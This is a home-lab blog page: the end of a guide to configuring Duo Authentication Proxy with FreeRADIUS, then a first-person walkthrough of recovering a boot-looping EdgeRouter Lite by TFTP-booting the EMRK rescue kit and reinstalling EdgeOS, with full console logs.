Configuring Duo Authentication Proxy

In this step, you will need to modify the authproxy.cfg file. This configuration file will contain information about your Duo integration and secret key, authentication source, etc.

Before modifying the file, create a backup so you can always revert to the original file. Use the command below to create a backup configuration file.

$ sudo cp /etc/duoauthproxy/conf/authproxy.cfg /etc/duoauthproxy/conf/authproxy.cfg.bak

There are three sections in the configuration file: the main, client, and server. The main configuration section is optional. This section is where you can specify which interface to use, HTTP proxy info, log size, etc. In my lab environment, I don’t need any of them, so I left the default configuration.

The next configuration section is the client section. This section is where you will define the authentication source. At this time of writing, the configuration file has [ad_client] as the default. Since I use the FreeRADIUS server as my authentication source, I will need to either delete or comment it out. I chose to comment it out.

#[ad_client]
#host=
#service_account_username=
#service_account_password=
#search_dn=

[radius_client]
host=192.168.10.51
secret=radius-key-here

The last configuration section is the server section. This section is where you will add your Duo integration key, secret key, API hostname, clients, etc.

[radius_server_auto]
ikey=integration-key-here
skey=secret-key-here
api_host=api-hostname.duosecurity.com
radius_ip_1=192.168.20.0/24
radius_secret_1=radius-key-here
radius_ip_2=192.168.30.2-10
radius_secret_2=radius-key-here
radius_ip_3=192.168.40.100
radius_secret_3=radius-key-here
failmode=safe
client=radius_client
port=1812

Final Thoughts

It is pretty generous for Cisco to continue offering the free-tier pricing. I hope they don’t stop offering it for free since I happen to like it. While the free-tier is limited in features, it is enough for my needs.

As a matter of fact, I switched to Duo MFA as my 2FA solution for my remote access VPN. I configured my Ubiquiti EdgeRouter to point to my Duo Authentication Proxy host instead of my previous 2FA solution. It is no longer necessary for me to memorize the TOTP code before connecting to my VPN using my iOS devices.

You might like to read

Securing SSH with Google Authenticator
Adding Two-Factor Authentication to FreeRADIUS
Adding Two-Factor Authentication to TACACS+

BUY ME COFFEE ☕

Did you find this content useful? Show your appreciation by buying me a coffee!


Recovering the EdgeRouter Lite

by Leave a Comment

EdgeRouter Lite
Table Of Contents


My original EdgeRouter Lite (ERL) that I started using since March 2016 crapped out last year. Earlier this year, I received a tip about replacing the USB flash drive to recover the router. A few days ago, I tried recovering the EdgeRouter Lite. I am happy to report that the recovery was successful! This article will discuss my experience with the EdgeRouter recovery and what I did to recover it.

Related: My Home Router – EdgeRouter Lite

The Issue

For most of the day, I was connected to the Internet just fine. Then, one minute, I lost Internet connectivity. As any IT professional would do, I started troubleshooting.

I didn’t suspect that it was the router at first since it has been my most stable router since 2000. When I finally isolated the issue with the router, I rebooted it.

After a few minutes of waiting, I still couldn’t ping the gateway. I decided to bust out my Tripp Lite Keyspan and console cable and connected it to the ERL’s console port.

I didn’t see any console messages even after performing a hard reboot. When I rebooted it, I also heard a hissing noise. I assumed that it was dead, so I swapped it out with my spare router. The replacement process was quick and easy since I have a backup config.

Recovery attempt

After many months from when I received the tip, I finally carved out some time to perform the recovery. Surprisingly, when I consoled into the ERL this time around, it was displaying some output. When I did it last year, I verified that my serial adapter and console cable were fine by connecting to my Cisco switch’s console port. I also made sure that I was using the correct baud rate but still wasn’t displaying any output.

Displaying console messages

To display ERL console messages, you will need the following settings if you use a terminal emulator like SecureCRT on a macOS/Windows or PuTTY on Windows.

  • Baud rate: 115200
  • Data bits: 8
  • Parity: None
  • Stop bits: 1
  • Flow control: None

In my case, it was easier to use the existing software in macOS, which is the GNU screen. Before you can use the screen software, you need to determine the device name.

$ ls /dev | grep -m 10 "tty\."
tty.Bluetooth-Incoming-Port
tty.KeySerial1
tty.MALS
tty.NullModem-1
tty.SOC
tty.USA19H142P1.1

As you can see, there are a few of them. Since I’ve been using Tripp Lite for a while, I know it’s the tty.KeySerial1 device.

Once you determine the right device name, you are now ready to connect to the EdgeRouter via console.

$ screen /dev/tty.KeySerial1 115200

When I plugged the power in, it displayed a lot of messages. Eventually, the console messages repeat itself, so the router is stuck in a boot loop. As you can see from the console messages, one of the SQUASHFS error messages indicated the data is probably corrupt. To me, it is a telltale sign that the flash is readable and probably just needs to be reimaged.

ERL console messages
Looking for valid bootloader image....
Jumping to start of image at address 0xbfc80000


U-Boot 1.1.1 (UBNT Build ID: 4670715-gbd7e2d7) (Build time: May 27 2014 - 11:16:22)

BIST check passed.
UBNT_E100 r1:2, r2:18, f:4/71, serial #: 44D9E795A388
MPR 13-00318-18
Core clock: 500 MHz, DDR clock: 266 MHz (532 Mhz data rate)
DRAM:  512 MB
Clearing DRAM....... done
Flash:  4 MB
Net:   octeth0, octeth1, octeth2

USB:   (port 0) scanning bus for devices... 1 USB Devices found
       scanning bus for storage devices...
  Device 0: Vendor:          Prod.: USB DISK 2.0     Rev: PMAP
            Type: Removable Hard Disk
            Capacity: 3824.0 MB = 3.7 GB (7831552 x 512)
 0 
reading vmlinux.64
.............................

5755008 bytes read
argv[2]: coremask=0x3
argv[3]: root=/dev/sda2
argv[4]: rootdelay=15
argv[5]: rw
argv[6]: rootsqimg=squashfs.img
argv[7]: rootsqwdir=w
argv[8]: mtdparts=phys_mapped_flash:512k(boot0),512k(boot1),64k@1024k(eeprom)
ELF file is 64 bit
Allocating memory for mapped kernel segment, alignment: 0x400000
Allocated memory for ELF segment: addr: 0x400000, size 0x6863d0
Processing PHDR 0
  Loading 57ba80 bytes at 400000
  Clearing 10a950 bytes at 97ba80
## Loading Linux kernel with entry point: 0x007e5ff0 ...
Bootloader: Done loading app on coremask: 0x3
Linux version 3.10.107-UBNT (root@dc9c2e14f2e4) (gcc version 4.7.0 (Cavium Inc. Version: SDK_BUILD build 51) ) #1 SMP Thu Aug 9 06:45:26 UTC 2018
CVMSEG size: 2 cache lines (256 bytes)
Cavium Inc. SDK-3.1.2
bootconsole [early0] enabled
CPU revision is: 000d0601 (Cavium Octeon+)
Checking for the multiply/shift bug... no.
Checking for the daddiu bug... no.
Determined physical RAM map:
 memory: 000000000053b000 @ 0000000000400000 (kernel data and code)
 memory: 0000000000045000 @ 000000000093b000 (usable after init)
 memory: 0000000000107000 @ 0000000000980000 (kernel data and code)
 memory: 0000000007400000 @ 0000000000d00000 (usable)
 memory: 0000000007c00000 @ 0000000008300000 (usable)
 memory: 000000000fc00000 @ 0000000410300000 (usable)
software IO TLB [mem 0x0170d000-0x0174d000] (0MB) mapped at [800000000170d000-800000000174cfff]
Zone ranges:
  DMA32    [mem 0x00400000-0xefffffff]
  Normal   [mem 0xf0000000-0x41fefffff]
Movable zone start for each node
Early memory node ranges
  node   0: [mem 0x00400000-0x00a86fff]
  node   0: [mem 0x00d00000-0x080fffff]
  node   0: [mem 0x08300000-0x0fefffff]
  node   0: [mem 0x410300000-0x41fefffff]
Primary instruction cache 32kB, virtually tagged, 4 way, 64 sets, linesize 128 bytes.
Primary data cache 16kB, 64-way, 2 sets, linesize 128 bytes.
Secondary unified cache 128kB, 8-way, 128 sets, linesize 128 bytes.
PERCPU: Embedded 10 pages/cpu @800000000178a000 s10880 r8192 d21888 u40960
Built 1 zonelists in Zone order, mobility grouping on.  Total pages: 125878
Kernel command line:  bootoctlinux $loadaddr coremask=0x3 root=/dev/sda2 rootdelay=15 rw rootsqimg=squashfs.img rootsqwdir=w mtdparts=phys_mapped_flash:512k(boot0),512k(boot1),64k@1024k(eeprom) console=ttyS0,115200
PID hash table entries: 2048 (order: 2, 16384 bytes)
Dentry cache hash table entries: 65536 (order: 7, 524288 bytes)
Inode-cache hash table entries: 32768 (order: 6, 262144 bytes)
Memory: 495244k/504084k available (4032k kernel code, 8840k reserved, 1321k data, 276k init, 0k highmem)
Hierarchical RCU implementation.
        Additional per-CPU info printed with stalls.
NR_IRQS:511
Calibrating delay loop (skipped) preset value.. 1000.00 BogoMIPS (lpj=5000000)
pid_max: default: 32768 minimum: 501
Security Framework initialized
Mount-cache hash table entries: 256
Checking for the daddi bug... no.
SMP: Booting CPU01 (CoreId  1)...
CPU revision is: 000d0601 (Cavium Octeon+)
Brought up 2 CPUs
NET: Registered protocol family 16
bio: create slab <bio-0> at 0
SCSI subsystem initialized
usbcore: registered new interface driver usbfs
usbcore: registered new interface driver hub
usbcore: registered new device driver usb
Switching to clocksource OCTEON_CVMCOUNT
NET: Registered protocol family 2
TCP established hash table entries: 4096 (order: 4, 65536 bytes)
TCP bind hash table entries: 4096 (order: 4, 65536 bytes)
TCP: Hash tables configured (established 4096 bind 4096)
TCP: reno registered
UDP hash table entries: 256 (order: 1, 8192 bytes)
UDP-Lite hash table entries: 256 (order: 1, 8192 bytes)
NET: Registered protocol family 1
octeon_pci_console: Console not created.
HugeTLB registered 2 MB page size, pre-allocated 0 pages
squashfs: version 4.0 (2009/01/31) Phillip Lougher
Registering unionfs 2.5.13 (for 3.10.34)
aufs 3.10.x-20141215
msgmni has been set to 967
io scheduler noop registered
io scheduler cfq registered (default)
Serial: 8250/16550 driver, 6 ports, IRQ sharing disabled
1180000000800.serial: ttyS0 at MMIO 0x1180000000800 (irq = 34) is a OCTEON
console [ttyS0] enabled, bootconsole disabled
console [ttyS0] enabled, bootconsole disabled
1180000000c00.serial: ttyS1 at MMIO 0x1180000000c00 (irq = 35) is a OCTEON
loop: module loaded
ehci_hcd: USB 2.0 'Enhanced' Host Controller (EHCI) Driver
ohci_hcd: USB 1.1 'Open' Host Controller (OHCI) Driver
OcteonUSB 16f0010000000.usbc: Octeon Host Controller
OcteonUSB 16f0010000000.usbc: new USB bus registered, assigned bus number 1
OcteonUSB 16f0010000000.usbc: irq 56, io mem 0x00000000
hub 1-0:1.0: USB hub found
hub 1-0:1.0: 1 port detected
OcteonUSB: Registered HCD for port 0 on irq 56
usbcore: registered new interface driver usb-storage
octeon_wdt: Initial granularity 5 Sec
TCP: cubic registered
NET: Registered protocol family 17
NET: Registered protocol family 15
Bootbus flash: Setting flash for 4MB flash at 0x1f800000
phys_mapped_flash: Found 1 x16 devices at 0x0 in 8-bit bank. Manufacturer ID 0x0000c2 Chip ID 0x0000a7
Amd/Fujitsu Extended Query Table at 0x0040
  Amd/Fujitsu Extended Query version 1.1.
phys_mapped_flash: Swapping erase regions for top-boot CFI table.
number of CFI chips: 1
3 cmdlinepart partitions found on MTD device phys_mapped_flash
Creating 3 MTD partitions on "phys_mapped_flash":
0x000000000000-0x000000080000 : "boot0"
0x000000080000-0x000000100000 : "boot1"
0x000000100000-0x000000110000 : "eeprom"
Waiting 15sec before mounting root device...
usb 1-1: new high-speed USB device number 2 using OcteonUSB
usb-storage 1-1:1.0: USB Mass Storage device detected
scsi0 : usb-storage 1-1:1.0
scsi 0:0:0:0: Direct-Access              USB DISK 2.0     PMAP PQ: 0 ANSI: 6
sd 0:0:0:0: [sda] 7831552 512-byte logical blocks: (4.00 GB/3.73 GiB)
sd 0:0:0:0: [sda] Write Protect is off
sd 0:0:0:0: [sda] No Caching mode page found
sd 0:0:0:0: [sda] Assuming drive cache: write through
sd 0:0:0:0: [sda] No Caching mode page found
sd 0:0:0:0: [sda] Assuming drive cache: write through
 sda: sda1 sda2
sd 0:0:0:0: [sda] No Caching mode page found
sd 0:0:0:0: [sda] Assuming drive cache: write through
sd 0:0:0:0: [sda] Attached SCSI removable disk
kjournald starting.  Commit interval 3 seconds
EXT3-fs (sda2): using internal journal
EXT3-fs (sda2): recovery complete
EXT3-fs (sda2): mounted filesystem with journal data mode
aufs test_add:305:swapper/0[1]: uid/gid/perm /root.loop 0/0/0755, 0/102/0755
VFS: Mounted root (aufs filesystem) on device 0:11.
Freeing unused kernel memory: 276K (ffffffffc053b000 - ffffffffc0580000)
SQUASHFS error: zlib_inflate error, data probably corrupt
SQUASHFS error: squashfs_read_data failed to read block 0xa2af6f
SQUASHFS error: Unable to read fragment cache entry [a2af6f]
SQUASHFS error: Unable to read page, block a2af6f, size befb
SQUASHFS error: Unable to read fragment cache entry [a2af6f]
SQUASHFS error: Unable to read page, block a2af6f, size befb
SQUASHFS error: Unable to read fragment cache entry [a2af6f]
SQUASHFS error: Unable to read page, block a2af6f, size befb
SQUASHFS error: Unable to read fragment cache entry [a2af6f]
SQUASHFS error: Unable to read page, block a2af6f, size befb
SQUASHFS error: Unable to read fragment cache entry [a2af6f]
SQUASHFS error: Unable to read page, block a2af6f, size befb
Algorithmics/MIPS FPU Emulator v1.5
SQUASHFS error: zlib_inflate error, data probably corrupt
SQUASHFS error: squashfs_read_data failed to read block 0x48d89a
SQUASHFS error: Unable to read fragment cache entry [48d89a]
SQUASHFS error: Unable to read page, block 48d89a, size 9b76
SQUASHFS error: Unable to read fragment cache entry [48d89a]
SQUASHFS error: Unable to read page, block 48d89a, size 9b76
SQUASHFS error: Unable to read fragment cache entry [48d89a]
SQUASHFS error: Unable to read page, block 48d89a, size 9b76
SQUASHFS error: Unable to read fragment cache entry [48d89a]
SQUASHFS error: Unable to read page, block 48d89a, size 9b76
/bin/sh: error while loading shared libraries: /lib/mips-linux-gnu/libdl.so.2: cannot read file data: Input/output error
Kernel panic - not syncing: Attempted to kill init! exitcode=0x00007f00


*** NMI Watchdog interrupt on Core 0x01 ***
        $0      0x0000000000000000      at      0x0000000010008ce0
        v0      0xffffffffc0509018      v1      0x0000000000000001
        a0      0xfffffffffffffffd      a1      0x0000000000000000
        a2      0x0000000100000000      a3      0x0000000000000001
        a4      0x0000000000000401      a5      0x00000000000003ff
        a6      0x0000000000000000      a7      0x800000041c034560
        t0      0x0000000010008ce0      t1      0x000000001000001f
        t2      0xffffffffc0093568      t3      0x800000041c0c8000
        s0      0x800000000178c880      s1      0x0000000000000001
        s2      0x00000000ffffff01      s3      0x00000000ffffff02
        s4      0xffffffffc048ab78      s5      0x0000000000000069
        s6      0x0000000000000000      s7      0x800000041ff00000
        t8      0x0000000000000002      t9      0xffffffffc006c130
        k0      0x0000000000000000      k1      0x0000000000000020
        gp      0x800000041c0bc000      sp      0x800000041c0bfb30
        s8      0xffffffffc048b5e0      ra      0xffffffffc0073834
        err_epc 0xffffffffc0073838      epc     0xffffffffc006a6e0
        status  0x0000000010488ce4      cause   0x0000000040808800
        sum0    0x000000f000000000      en0     0x0000000000000000
*** Chip soft reset soon ***

Official EdgeRouter Lite TFTP recovery

In my first attempt at recovering the EdgeRouter Lite, I used Ubiquiti’s official guide found here. That didn’t work, so I tried replacing the flash drive with a 4GB Sandisk Cruzer Blade. It’s not the best fit for the ERL, so I don’t recommend getting that. If you’re looking for a USB flash drive, then I believe the Sandisk Cruzer Fit should fit better.

Unfortunately, it didn’t work as well. I started to wonder if these flash drives were good. I decided to plug both of them into my MacBook Pro. The ERL’s flash drive was recognized just fine. However, my MBP was having trouble detecting the Sandisk flash drive.

I decided to give it another try by using a known good flash drive. However, that didn’t work also. At that point, I was ready to move on.

Unofficial EdgeRouter Lite TFTP recovery

I stumbled upon a 7-year old post on Ubiquiti’s community site that I decided to give it a try. Even though it was an old post, it worked great. The one thing that didn’t work was the link to the EdgeMax rescue kit (emrk) file. With the help of Google, I was able to find a different link (mirror).

Note

This TFTP recovery file is only compatible with ER-Lite and ER-PoE models. Do not attempt with any other EdgeRouter models.

EdgeRouter Lite recovery instructions

The recovery instructions covered here contains some modifications from the original post. I performed all of the steps here under macOS, so you may have to modify depending on your computer’s OS.

1. Download EMRK

This step assumes that you haven’t done so. Use the link found here. If you already downloaded it, then skip to Step 2.

2. Move EMRK file

Once the download is complete, the file must be in the right directory. The macOS’s built-in TFTP software uses the /private/tftpboot.

$ sudo cp Desktop/emrk-0.9c.bin /private/tftpboot

3. Launch TFTP service

The macOS has a built-in TFTP software, and you can launch it by issuing the commands below.

$ sudo launchctl load -F /System/Library/LaunchDaemons/tftp.plist
$ sudo launchctl start com.apple.tftpd

4. Launch HTTP server

This step is optional. Since I already have the ERL firmware, I decided to use a local HTTP server.

Note

When you launch Python’s HTTP server, make sure you start at the /private/tftpboot directory since that’s where the EMRK file is.

$ cd /private/tftpboot
$ python -m SimpleHTTPServer 80

5. Connect to the ERL’s console port

This step assumes that you haven’t done so. As mentioned here, you can use GNU Screen software since it’s free. Alternatively, you can use Z-Term or SecureCRT for macOS. If you’re already connected, then skip to step 3.

6. Enter bootloader console

If the ERL is powered off, turn it on and press any key once or multiple times when you see this prompt.

Looking for valid bootloader image....
Jumping to start of image at address 0xbfc80000


U-Boot 1.1.1 (UBNT Build Version: e102_003_eace7) (May 27 2019 - 06:35:40)

If you were successful, you should see this prompt.

Octeon ubnt_e100#

7. Connect to the ERL’s eth0 port

Connect your computer’s Ethernet port to ERL’s eth0 port. Once connected, set a static IP address to your computer. For macOS, you will need to go to System Preferences > Network > Belkin USB-C LAN (or equivalent) > Configure IPv4 > Manually. Use the following settings and click Apply:

IP Address: 192.168.1.10
Subnet Mask: 255.255.255.0

Do you find this content useful? If so, consider buying me a coffee! ☕


8. Configure bootloader

To load the EMRK file to memory, you need to configure the settings. Use the following commands, as shown below.

Octeon ubnt_e100# set ipaddr 192.168.1.20
Octeon ubnt_e100# set netmask 255.255.255.0
Octeon ubnt_e100# set serverip 192.168.1.10
Octeon ubnt_e100# set ethact octeth0
Octeon ubnt_e100# set bootfile emrk-0.9c.bin
Octeon ubnt_e100# tftpboot
Using octeth0 device
TFTP from server 192.168.1.10; our IP address is 192.168.1.20
Filename 'emrk-0.9c.bin'.
Load address: 0x9f00000
Loading: #################################################################
         #############################################
done
Bytes transferred = 15665511 (ef0967 hex), 11093 Kbytes/sec

9. Boot the kernel

Once the ERMK file is in memory, we’re now ready to boot ERL using that kernel. Use the command below to load the kernel.

Octeon ubnt_e100# bootoctlinux $loadaddr

Once you hit enter, you will see messages like the one below.

Loading the kernel
ELF file is 64 bit
Allocating memory for ELF segment: addr: 0xffffffff81100000 (adjusted to: 0x1100000), size 0xe83940
Allocated memory for ELF segment: addr: 0xffffffff81100000, size 0xe83940
Processing PHDR 0
  Loading e23d80 bytes at ffffffff81100000
  Clearing 5fbc0 bytes at ffffffff81f23d80
## Loading Linux kernel with entry point: 0xffffffff81105ca0 ...
Bootloader: Done loading app on coremask: 0x1
Linux version 2.6.32.13-wau (dmbaturin@v-dev) (gcc version 4.3.3 (Cavium Networks Version: 2_0_0 build 95) ) #81 SMP Tue Jul 23 13:51:58 PDT 2013
CVMSEG size: 2 cache lines (256 bytes)
Cavium Networks SDK-2.0
bootconsole [early0] enabled
CPU revision is: 000d0601 (Cavium Octeon+)
Checking for the multiply/shift bug... no.
Checking for the daddiu bug... no.
Determined physical RAM map:
 memory: 000000000067b000 @ 00000000018b5000 (usable after init)
 memory: 0000000006000000 @ 0000000002000000 (usable)
 memory: 0000000007c00000 @ 0000000008200000 (usable)
 memory: 000000000fc00000 @ 0000000410000000 (usable)
Wasting 354200 bytes for tracking 6325 unused pages
Initrd not found or empty - disabling initrd
Zone PFN ranges:
  DMA32    0x000018b5 -> 0x00100000
  Normal   0x00100000 -> 0x0041fc00
Movable zone start PFN for each node
early_node_map[4] active PFN ranges
    0: 0x000018b5 -> 0x00001f30
    0: 0x00002000 -> 0x00008000
    0: 0x00008200 -> 0x0000fe00
    0: 0x00410000 -> 0x0041fc00
Cavium Hotplug: Available coremask 0x2
PERCPU: Embedded 8 pages/cpu @a8000000027b8000 s11648 r0 d21120 u65536
pcpu-alloc: s11648 r0 d21120 u65536 alloc=16*4096
pcpu-alloc: [0] 0 
Built 1 zonelists in Zone order, mobility grouping on.  Total pages: 63455
Kernel command line:  bootoctlinux $loadaddr console=ttyS0,115200
PID hash table entries: 1024 (order: 1, 8192 bytes)
Dentry cache hash table entries: 32768 (order: 6, 262144 bytes)
Inode-cache hash table entries: 16384 (order: 5, 131072 bytes)
Primary instruction cache 32kB, virtually tagged, 4 way, 64 sets, linesize 128 bytes.
Primary data cache 16kB, 64-way, 2 sets, linesize 128 bytes.
Memory: 475308k/489964k available (3808k kernel code, 14444k reserved, 4082k data, 6636k init, 0k highmem)
Hierarchical RCU implementation.
NR_IRQS:152
Calibrating delay loop (skipped) preset value.. 1000.00 BogoMIPS (lpj=5000000)
Security Framework initialized
Mount-cache hash table entries: 256
Checking for the daddi bug... no.
Brought up 1 CPUs
NET: Registered protocol family 16
bio: create slab <bio-0> at 0
SCSI subsystem initialized
usbcore: registered new interface driver usbfs
usbcore: registered new interface driver hub
usbcore: registered new device driver usb
Switching to clocksource OCTEON_CVMCOUNT
NET: Registered protocol family 2
IP route cache hash table entries: 2048 (order: 2, 16384 bytes)
IPv4 FIB: Using LC-trie version 0.409
TCP established hash table entries: 8192 (order: 5, 131072 bytes)
TCP bind hash table entries: 8192 (order: 5, 131072 bytes)
TCP: Hash tables configured (established 8192 bind 8192)
TCP reno registered
NET: Registered protocol family 1
/proc/octeon_perf: Octeon performace counter interface loaded
octeon_wdt: Initial granularity 5 Sec.
squashfs: version 4.0 (2009/01/31) Phillip Lougher
Registering unionfs 2.5.11 (for 2.6.32.55)
msgmni has been set to 928
alg: No test for cipher_null (cipher_null-generic)
alg: No test for ecb(cipher_null) (ecb-cipher_null)
alg: No test for digest_null (digest_null-generic)
alg: No test for compress_null (compress_null-generic)
alg: No test for stdrng (krng)
alg: No test for ghash (ghash-generic)
io scheduler noop registered
io scheduler cfq registered (default)
octeon_rng octeon_rng: Octeon Random Number Generator
Serial: 8250/16550 driver, 2 ports, IRQ sharing disabled
serial8250.0: ttyS0 at MMIO 0x1180000000800 (irq = 58) is a OCTEON
console [ttyS0] enabled, bootconsole disabled
console [ttyS0] enabled, bootconsole disabled
loop: module loaded
mdio-octeon: probed
mdio-octeon mdio-octeon.0: Version 1.0
octeon-ethernet 2.0
Interface 0 has 3 ports (RGMII)
ohci_hcd: USB 1.1 'Open' Host Controller (OHCI) Driver
OcteonUSB: Detected 1 ports
OcteonUSB OcteonUSB.0: Octeon Host Controller
OcteonUSB OcteonUSB.0: new USB bus registered, assigned bus number 1
OcteonUSB OcteonUSB.0: irq 80, io mem 0x00000000
usb usb1: configuration #1 chosen from 1 choice
hub 1-0:1.0: USB hub found
hub 1-0:1.0: 1 port detected
OcteonUSB: Registered HCD for port 0 on irq 80
Initializing USB Mass Storage driver...
usbcore: registered new interface driver usb-storage
USB Mass Storage support registered.
usbcore: registered new interface driver libusual
Probing USB hub...
hub 1-0:1.0: USB hub found
hub 1-0:1.0: 1 port detected
TCP cubic registered
Initializing XFRM netlink socket
NET: Registered protocol family 10
lo: Disabled Privacy Extensions
Mobile IPv6
IPv6 over IPv4 tunneling driver
sit0: Disabled Privacy Extensions
ip6tnl0: Disabled Privacy Extensions
NET: Registered protocol family 17
NET: Registered protocol family 15
802.1Q VLAN Support v1.8 Ben Greear <greearb@candelatech.com>
All bugs added by David S. Miller <davem@redhat.com>
L2 lock: TLB refill 256 bytes
L2 lock: General exception 128 bytes
L2 lock: low-level interrupt 128 bytes
L2 lock: interrupt 640 bytes
L2 lock: memcpy 1152 bytes
Bootbus flash: Setting flash for 4MB flash at 0x1f800000
phys_mapped_flash: Found 1 x16 devices at 0x0 in 8-bit bank
 Amd/Fujitsu Extended Query Table at 0x0040
phys_mapped_flash: Swapping erase regions for broken CFI table.
number of CFI chips: 1
cfi_cmdset_0002: Disabling erase-suspend-program due to code brokenness.
Freeing unused kernel memory: 6636k freed
Algorithmics/MIPS FPU Emulator v1.5
init started: BusyBox v1.17.1 (Debian 1:1.17.1-8)
starting pid 203, tty '': '/etc/init.d/rcS'
hub 1-0:1.0: activate --> -22
usb 1-1: new high speed USB device using OcteonUSB and address 2
usb 1-1: configuration #1 chosen from 1 choice
scsi0 : SCSI emulation for USB Mass Storage devices
eth0: 1000 Mbps Full duplex, port  0, queue  0
scsi 0:0:0:0: Direct-Access              USB DISK 2.0     PMAP PQ: 0 ANSI: 6
sd 0:0:0:0: [sda] 7831552 512-byte logical blocks: (4.00 GB/3.73 GiB)
sd 0:0:0:0: [sda] Write Protect is off
sd 0:0:0:0: [sda] Assuming drive cache: write through
sd 0:0:0:0: [sda] Assuming drive cache: write through
 sda: sda1 sda2
sd 0:0:0:0: [sda] Assuming drive cache: write through
sd 0:0:0:0: [sda] Attached SCSI removable disk

Loading EMRK 0.9a
Mounting filesystems
Bringing up eth0

Checking boot partition
Boot partition looks intact
Attempting to mount boot partition
Boot partition successfully mounted
Looking for kernel file
Found a kernel
Checking kernel MD5 sum file
Found kernel MD5 sum file
Checking kernel MD5 sum
Kernel MD5 sum is correct

Checking root partition
Root partition looks intact
Attempting to mount root partition
kjournald starting.  Commit interval 5 seconds
EXT3 FS on sda2, internal journal
EXT3-fs: recovery complete.
EXT3-fs: mounted filesystem with writeback data mode.
Root partition successfully mounted
Looking for system image file
Found a system image file
Checking system image MD5 sum file
Found system image MD5 sum file
Checking system image MD5 sum
sd 0:0:0:0: [sda] Unhandled sense code
sd 0:0:0:0: [sda] Result: hostbyte=0x00 driverbyte=0x08
sd 0:0:0:0: [sda] Sense Key : 0x3 [current] 
sd 0:0:0:0: [sda] ASC=0x11 ASCQ=0x0
sd 0:0:0:0: [sda] CDB: cdb[0]=0x28: 28 00 00 08 df 90 00 00 f0 00
end_request: I/O error, dev sda, sector 581520
sd 0:0:0:0: [sda] Unhandled sense code
sd 0:0:0:0: [sda] Result: hostbyte=0x00 driverbyte=0x08
sd 0:0:0:0: [sda] Sense Key : 0x3 [current] 
sd 0:0:0:0: [sda] ASC=0x11 ASCQ=0x0
sd 0:0:0:0: [sda] CDB: cdb[0]=0x28: 28 00 00 08 e0 40 00 00 08 00
end_request: I/O error, dev sda, sector 581696
ash: 109f4af8c5db580ec13f156a21caddea: unknown operand
System image MD5 sum is not correct! Your image may be corrupted.

**********************************************
Welcome to EdgeMax Rescue Kit!

This tool is distributed under the terms of
GNU General Public License and other licenses

Brought to you by SO3 Group

WARNING: This tool is not developed, officially
supported or endorsed by Ubiquiti Networks!

Using it may lead to destroying your router
configuration or operating system

Ubiquiti Networks support will not help you
with using it or fixing consequences of
using it.

This tool itself is distributed without any
warranty and authors are not liable for
any damage it may cause

By using this tool you agree you are doing
it at your own risk and understand what
you are doing

*********************************************

When you see the following prompts, answer the questions, as shown below.

Note

Since I didn’t opt to connect the ERL to my network, I chose to assign a static IP address. If you want to download ERL’s firmware directly from Ubiquiti, then connect ERL’s eth0 to your network and set it as DHCP

Enter 'Yes' to proceed, 'No' to reboot
yes or no: yes

Do you want to configure network via DHCP?
yes or no: no

Do you want to configure network statically?
yes or no: yes

Enter IPv4 address in CIDR format (e.g. 192.0.2.10/24): 192.168.1.0/24
Enter IPv4 gateway address: 192.168.1.1
Enter DNS server address: 192.168.1.1

EMRK provides some scripts for automated
recovery procedures:

emrk-factory-reset -- reset config to factory default
emrk-remove-user-data -- remove all the user data including
    config and everything
emrk-reinstall -- reinstall EdgeOS from scratch
    (wipes any user data too)

Enter 'reboot' to reboot your router


BusyBox v1.17.1 (Debian 1:1.17.1-8) built-in shell (ash)
Enter 'help' for a list of built-in commands.

/bin/ash: can't access tty; job control turned off
EMRK>

10. Reinstall ERL’s firmware

There are three options that you can do from the EMRK prompt. I opted for the emrk-reinstall script.

Note

Change the EdgeOS image URL if you want to download directly from Ubiquiti’s site.

EMRK>emrk-reinstall
WARNING: This script will reinstall EdgeOS from scratch
If you have any usable data on your router storage,
it will be irrecoverably destroyed!
Do you want to continue?
yes or no: yes
Unmounting boot partition
Unmounting root partition
Re-creating partition table
Creating boot partition
Formatting boot partition
mkfs.vfat 3.0.9 (31 Jan 2010)
Creating root partition
Formatting root partition
kjournald starting.  Commit interval 5 seconds
EXT3 FS on sda2, internal journal
EXT3-fs: mounted filesystem with writeback data mode.
Enter EdgeOS image url: http://192.168.1.10/ER-e100.v1.10.11.5274249.tar
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100 82.9M  100 82.9M    0     0  3156k      0  0:00:26  0:00:26 --:--:-- 3111k
Unpacking EdgeOS release image
Verifying EdgeOS kernel
Copying EdgeOS kernel to boot partition
Verifying EdgeOS system image
Copying EdgeOS system image to root partition
Copying version file to the root partition
Creating EdgeOS writable data directory
Cleaning up
Installation finished
Please reboot your router

11. Reboot the ERL

Now you are ready to reboot the EdgeRouter Lite. Issue the command reboot, and you should eventually see the familiar prompt.

ERL boot messages
EMRK>reboot
starting pid 295, tty '': '/bin/umount -a -r'
The system is going down NOW!
Sent SIGTERM to all processes
Sent SIGKILL to all processes
Requesting system reboot
Restarting system.

Looking for valid bootloader image....
Jumping to start of image at address 0xbfc80000


U-Boot 1.1.1 (UBNT Build ID: 4670715-gbd7e2d7) (Build time: May 27 2014 - 11:16:22)

BIST check passed.
UBNT_E100 r1:2, r2:18, f:4/71, serial #: 44D9E795A388
MPR 13-00318-18
Core clock: 500 MHz, DDR clock: 266 MHz (532 Mhz data rate)
DRAM:  512 MB
Clearing DRAM....... done
Flash:  4 MB
Net:   octeth0, octeth1, octeth2

USB:   (port 0) scanning bus for devices... 1 USB Devices found
       scanning bus for storage devices...
  Device 0: Vendor:          Prod.: USB DISK 2.0     Rev: PMAP
            Type: Removable Hard Disk
            Capacity: 3824.0 MB = 3.7 GB (7831552 x 512)
 0 
reading vmlinux.64
.............................

5787776 bytes read
argv[2]: coremask=0x3
argv[3]: root=/dev/sda2
argv[4]: rootdelay=15
argv[5]: rw
argv[6]: rootsqimg=squashfs.img
argv[7]: rootsqwdir=w
argv[8]: mtdparts=phys_mapped_flash:512k(boot0),512k(boot1),64k@1024k(eeprom)
ELF file is 64 bit
Allocating memory for mapped kernel segment, alignment: 0x400000
Allocated memory for ELF segment: addr: 0x400000, size 0x696350
Processing PHDR 0
  Loading 583a80 bytes at 400000
  Clearing 1128d0 bytes at 983a80
## Loading Linux kernel with entry point: 0x007eb7d0 ...
Bootloader: Done loading app on coremask: 0x3
Linux version 3.10.107-UBNT (root@aed5f1a708f2) (gcc version 4.7.0 (Cavium Inc. Version: SDK_BUILD build 51) ) #1 SMP Fri Feb 21 09:09:08 UTC 2020
CVMSEG size: 2 cache lines (256 bytes)
Cavium Inc. SDK-3.1.2
bootconsole [early0] enabled
